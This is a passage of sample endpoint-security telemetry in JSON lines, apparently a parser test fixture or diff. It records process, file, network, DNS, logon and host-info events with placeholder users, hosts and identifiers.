Count":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"}
-{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"}
-{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"}
-{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"}
-{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"}
-{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1604855182022"}
-{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"}
-{"BootArgs":" NOEXECUTE=OPTIN  HYPERVISORLAUNCHTYPE=AUTO  FVEBOOT=2125824  NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"}
-{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"}
-{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"}
-{"AgentLoadFlags":"0","AgentLocalTime":"1636436839.9529998","AgentTimeOffset":"125.319","AgentVersion":"6.31.14404.0","BiosManufacturer":"Apple Inc.","BiosVersion":"1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)","ChassisType":"Laptop","City":"San Francisco","ComputerName":"mac1","ConfigBuild":"1007.4.0014404.1","ConfigIDBuild":"14404","Continent":"North America","Country":"United States","FalconGroupingTags":"-","FirstSeen":"1625682391.0","HostHiddenStatus":"Visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"1","SensorGroupingTags":"-","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple Inc.","SystemProductName":"MacBookPro16,2","Time":"1636448427.3539999","Timezone":"America/Los_Angeles","Version":"Big Sur (11.0)","aid":"fffffffffffaaaaaaaaabbbbbbbb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022ff","event_platform":"Mac"}
-{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134461"}
-{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"6108","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":133145666190000000,"EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000}
-{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000}
-{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"c:\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"}
-{"UserIsAdmin": "1", "LogonTime": "1715078799.631", "UserSid": "S-1-5-21-1111-11111-387821029-2004", "event_platform": "Mac", "EffectiveTransmissionClass": "2", "timestamp": "1715078799943", "info": { "host": { "Timezone": "Asia/Kolkata", "ServicePackMajor": "none", "PointerSize": "none", "SiteName": "none", "AgentVersion": "7.14.18305.0", "Time": "1715074061.000", "MachineDomain": "none", "event_platform": "Mac", "AgentTimeOffset": "454032", "Version": "Ventura (13)", "AgentLoadFlags": "0", "BiosVersion": "none", "FalconGroupingTags": "none", "SystemProductName": "Mac14, 2", "OU": "none", "ProductType": "none", "City": "Bengaluru", "ConfigBuild": "1007.4.0018305.10", "SensorGroupingTags": "none", "Continent": "Asia", "FirstSeen": "1701672920.000", "HostHiddenStatus": "Visible", "BiosManufacturer": "none", "AgentLocalTime": "1714620029.775", "Country": "India", "ChassisType": "Other", "SystemManufacturer": "Apple Inc.", "ConfigIDBuild": "18305", "cid": "11d1d1d1dd1d1d1d1d1" }, "user": { "UserIsAdmin": "1", "monthsincereset": "3.0", "User": "USER-1-MACBOOK-AIR.LOCAL\\USER-1", "LogonTime": "1715076000.000", "PasswordLastSet": "1706789855.733", "LogonType": "Interactive", "AccountType": "Local", "LastLoggedOnHost": "User-1-MacBook-Air.local", "_time": "1715076916.290", "cid": "1d1d1d1d1d1d1d1d1" } }, "ContextTimeStamp": "1715078799.690", "UserName": "user-1", "ConfigStateHash": "821711964", "LogonType": "2", "AuthenticationId": "111112312312312321", "UserPrincipal": "user-1@User-1-MacBook-Air.local", "PasswordLastSet": "1706789855.733", "Entitlements": "15", "name": "UserLogonMacV1", "UserLogonFlags": "6", "UserGroupsBitmask": "0", "cid": "1d1d1d1d1d1d1d1d1"}
-{"ActiveDirectoryAuthenticationMethod":"0","ActivityId":"E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC","AuthenticationActivityId":"0737DAC6-66AE-42DE-B10A-FD151AE99B86","ContextTimeStamp":"1715078799.690","SourceAccountDomain":"EXAMPLE.COM","SourceAccountObjectGuid":"62915660-5725-4B71-A494-46793F88877A","SourceAccountObjectSid":"S-1-5-21-333333333-333333333-3333333333-333333","SourceAccountSamAccountName":"bar","SourceEndpointAccountObjectGuid":"9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8","SourceEndpointAccountObjectSid":"S-1-5-21-222222222-222222222-2222222222-222222","SourceEndpointAddressIP4":"192.168.0.1","SourceEndpointHostName":"FOO","SourceEndpointNetworkTag":"AWS-XXX","SourceEndpointNetworkType":"1","TargetDomainControllerObjectGuid":"11111111-1111-1111-1111-111111111111","TargetDomainControllerObjectSid":"S-1-5-21-111111111-111111111-1111111111-111111","aip":"","cid":"11111111111111111111111111111111","event_platform":"Win","name":"ActiveDirectoryInteractiveDomainLogonV2","timestamp":"2024-08-01T11:31:27.123Z"}
-{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"person@dom1.com","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1063377105","DomainName":"AzureAD","aip":"67.43.156.14","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","Entitlements":"15","name":"SmbServerShareOpenedEtwV1","EventOrigin":"17","id":"5df90d92-3d9f-44e5-a095-428decb3d3f3","SmbShareName":"C$","EffectiveTransmissionClass":"3","aid":"1152404d33614d3bbfe87a5fe7bac47b","timestamp":"1738009593697","cid":"ffffffff30a3407dae27d0503611022d"}
-{"ContextBaseFileName":"SenseImdsCollector.exe","event_simpleName":"DnsRequest","ContextTimeStamp":"1738009377.497","ConfigStateHash":"138674525","ContextProcessId":"683613242245","DomainName":"metadata.google.internal","ContextThreadId":"31712204862362","aip":"67.43.156.14","QueryStatus":"9003","InterfaceIndex":"0","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","DnsRequestCount":"1","DualRequest":"1","Entitlements":"15","name":"DnsRequestV5","EventOrigin":"1","id":"3d0ef474-fcc3-4f18-9ad6-7130d8ddb407","EffectiveTransmissionClass":"3","aid":"31e92a267c044d57b1c1e14109079e89","timestamp":"1738009364034","cid":"ffffffff30a3407dae27d0503611022d","RequestType":"28"}
-{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"18446744072636268557","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"}
-{"AgentLoadFlags":"none","AgentLocalTime":"none","AgentTimeOffset":"63878691745","AgentVersion":"2025.02.1","BiosManufacturer":"none","BiosVersion":"none","ChassisType":"none","City":"Bengaluru","ComputerName":"none","ConfigBuild":"1007.32.20250201.9","ConfigIDBuild":"20250201","Continent":"Asia","Country":"India","FalconGroupingTags":"none","FirstSeen":"1742447937.000","HostHiddenStatus":"visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"none","SensorGroupingTags":"none","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple","SystemProductName":"none","Time":"1743094945.000","Timezone":"Asia/Kolkata","Version":"iOS 18.3.2","aid":"44444444444444444444444444444444","aip":"0.0.0.0","cid":"55555555555555555555555555555555","event_platform":"iOS"}
-{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134"}
